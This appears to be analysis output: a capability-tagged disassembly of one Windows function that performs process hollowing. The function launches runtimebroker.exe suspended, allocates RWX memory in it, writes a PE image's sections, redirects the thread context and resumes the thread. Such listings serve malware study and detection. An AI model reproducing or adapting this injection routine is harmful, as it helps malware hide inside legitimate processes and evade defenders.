Function at 0x140003eb0
Capabilities:
Allocate or change rwx memory
Create process on windows
Resume thread
Terminate process

Disassembly:
mov r11, rsp
push rbp
push r12
lea rbp, [r11 - 0xaf8]
sub rsp, 0xbe8
mov rax, qword [0x140046030]
xor rax, rsp
mov qword [rbp + 0xac0], rax
lea rax, str.C:WindowsSystem32_runtimebroker.exe
mov qword [0x1408b0308], rax
lea r12, [0x140046c30]
movsxd rax, dword [0x140046c6c]
cmp dword [rax + r12], 0x4550
jne 0x1400044d7
xorps xmm0, xmm0
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rsi
lea rdx, [rbp + 0x9b0]
mov qword [r11 + 0x18], rdi
xor eax, eax
mov qword [r11 - 0x18], r13
mov r8d, 0x104
mov qword [r11 - 0x20], r14
xor ecx, ecx
mov qword [r11 - 0x28], r15
movups xmmword [rbp + 0x944], xmm0
mov dword [rbp + 0x9a4], eax
movups xmmword [rbp + 0x954], xmm0
mov dword [rbp + 0x940], 0x68
movups xmmword [rbp + 0x964], xmm0
mov qword [rsp + 0x70], rax
movups xmmword [rbp + 0x974], xmm0
movups xmmword [rbp + 0x984], xmm0
movups xmmword [rbp + 0x994], xmm0
movups xmmword [rsp + 0x60], xmm0
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov rcx, qword [0x1408b0308]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x9b0]
xor r13d, r13d
lea rax, [rbp + 0x940]
mov qword [rsp + 0x40], rax
xor r9d, r9d
mov qword [rsp + 0x38], r13
xor r8d, r8d
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x14
mov dword [rsp + 0x20], r13d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140004060
mov rcx, qword [rsp + 0x60]
lea rdx, [rbp + 0x930]
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
xor edx, edx
cmp dword [rbp + 0x930], r13d
je 0x1400040f9
mov r8d, 0x2c8
mov qword [rsp + 0x78], r13
lea rcx, [rbp - 0x6c]
call fcn.14000ce70
mov rcx, qword [rsp + 0x68]
lea rdx, [rbp - 0x70]
mov dword [rbp - 0x70], 0x10000b
call qword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
mov edx, dword [rbp + 0x34]
lea r9d, [r13 + 4]
mov rcx, qword [rsp + 0x60]
lea r8, [rsp + 0x78]
add edx, 8
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x140004060
mov rax, qword [rsp + 0x78]
mov ecx, dword [rbp + 0x34]
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x58], rax
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
test rax, rax
je 0x140004060
test rcx, rcx
jne 0x14000418a
cmp r12, 0xffffffffffffffff
je 0x14000407a
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r12
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x14000408a
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x1400040aa
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0xffffffff
mov r14, qword [rsp + 0xbd8]
mov r13, qword [rsp + 0xbe0]
mov rdi, qword [rsp + 0xc10]
mov rsi, qword [rsp + 0xc08]
mov rbx, qword [rsp + 0xc00]
mov r15, qword [rsp + 0xbd0]
mov rcx, qword [rbp + 0xac0]
xor rcx, rsp
call fcn.14000a910
add rsp, 0xbe8
pop r12
pop rbp
ret
mov r8d, 0x4d0
mov qword [rbp - 0x80], r13
lea rcx, [rbp + 0x460]
call fcn.14000ce70
mov rcx, qword [rsp + 0x68]
lea rdx, [rbp + 0x460]
mov dword [rbp + 0x490], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rdx, qword [rbp + 0x4e8]
lea r8, [rbp - 0x80]
mov rcx, qword [rsp + 0x60]
add rdx, 0x10
mov r9d, 8
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x140004060
mov rax, qword [rbp - 0x80]
mov rcx, qword [rbp + 0x4e8]
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x58], rax
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
test rax, rax
je 0x140004060
test rcx, rcx
je 0x140004060
movsxd rcx, dword [0x140046c6c]
mov eax, 0x10b
cmp word [rcx + r12 + 0x18], ax
mov eax, dword [rbp + 0x930]
jne 0x1400041b2
mov ebx, 1
test eax, eax
jne 0x1400041bd
jmp 0x1400040aa
mov ebx, r13d
test eax, eax
jne 0x1400040aa
movzx edi, word [rcx + r12 + 0x5c]
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x58]
test eax, eax
je 0x1400041d8
call fcn.140003600
jmp 0x1400041dd
call fcn.140003740
cmp eax, 0xffffffff
je 0x140004060
cmp edi, eax
jne 0x140004060
test ebx, ebx
je 0x14000433d
movsxd rax, dword [0x140046c6c]
cmp dword [rax + r12 + 0xa0], r13d
jne 0x140004326
mov r8d, dword [rax + r12 + 0x50]
lea rdi, [rax + r12]
mov edx, dword [rdi + 0x34]
mov r9d, 0x3000
mov rcx, qword [rsp + 0x60]
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
test rax, rax
je 0x140004066
mov r9d, dword [rdi + 0x54]
mov r8, r12
mov rcx, qword [rsp + 0x60]
mov rdx, rax
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140004066
mov ebx, r13d
cmp r13w, word [rdi + 6]
jae 0x1400042b1
mov rsi, r13
nop dword [rax + rax]
movzx eax, word [rdi + 0x14]
mov rcx, qword [rsp + 0x60]
add rax, rsi
mov qword [rsp + 0x20], r13
mov r8d, dword [rax + rdi + 0x2c]
mov edx, dword [rax + rdi + 0x24]
add r8, r12
mov r9d, dword [rax + rdi + 0x28]
add rdx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140004066
movzx eax, word [rdi + 6]
inc ebx
add rsi, 0x28
cmp ebx, eax
jl 0x140004270
xor edx, edx
lea rcx, [rbp - 0x6c]
mov r8d, 0x2c8
call fcn.14000ce70
mov rcx, qword [rsp + 0x68]
lea rdx, [rbp - 0x70]
mov dword [rbp - 0x70], 0x10000b
call qword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
test eax, eax
je 0x140004066
mov edx, dword [rbp + 0x34]
lea r8, [rdi + 0x34]
mov rcx, qword [rsp + 0x60]
add rdx, 8
mov r9d, 4
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140004066
mov ecx, dword [rdi + 0x28]
lea rdx, [rbp - 0x70]
add ecx, r14d
mov dword [rbp + 0x40], ecx
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_Wow64SetThreadContext]
jmp 0x140004483
lea rcx, [rsp + 0x60]
call fcn.140003890
test eax, eax
je 0x140004066
jmp 0x140004496
movsxd rcx, dword [0x140046c6c]
cmp dword [rcx + r12 + 0xb0], r13d
je 0x140004367
lea rcx, [rsp + 0x60]
call fcn.140003ba0
test eax, eax
je 0x140004066
xor eax, eax
jmp 0x1400040af
mov r8d, dword [r12 + rcx + 0x50]
lea rbx, [r12 + rcx]
mov rdx, qword [rbx + 0x30]
mov r9d, 0x3000
mov rcx, qword [rsp + 0x60]
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
test rax, rax
je 0x140004066
mov r9d, dword [rbx + 0x54]
mov r8, r12
mov rcx, qword [rsp + 0x60]
mov rdx, rax
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140004066
mov edi, r13d
cmp r13w, word [rbx + 6]
jae 0x140004411
mov rsi, r13
nop dword [rax + rax]
movzx eax, word [rbx + 0x14]
mov rcx, qword [rsp + 0x60]
add rax, rsi
mov qword [rsp + 0x20], r13
mov r8d, dword [rax + rbx + 0x2c]
mov edx, dword [rax + rbx + 0x24]
add r8, r12
mov r9d, dword [rax + rbx + 0x28]
add rdx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140004066
movzx eax, word [rbx + 6]
inc edi
add rsi, 0x28
cmp edi, eax
jl 0x1400043d0
xor edx, edx
lea rcx, [rbp - 0x70]
mov r8d, 0x4d0
call fcn.14000ce70
mov rcx, qword [rsp + 0x68]
lea rdx, [rbp - 0x70]
mov dword [rbp - 0x40], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x140004066
mov rdx, qword [rbp + 0x18]
lea r8, [rbx + 0x30]
mov rcx, qword [rsp + 0x60]
add rdx, 0x10
mov r9d, 8
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140004066
mov eax, dword [rbx + 0x28]
lea rdx, [rbp - 0x70]
mov rcx, qword [rsp + 0x68]
add rax, r14
mov qword [rbp + 0x10], rax
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x140004066
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp r12, 0xffffffffffffffff
je 0x1400044b0
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r12
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x1400044c0
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x1400044d0
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x1400040af
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r12
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, 0xffffffff
jmp 0x1400040df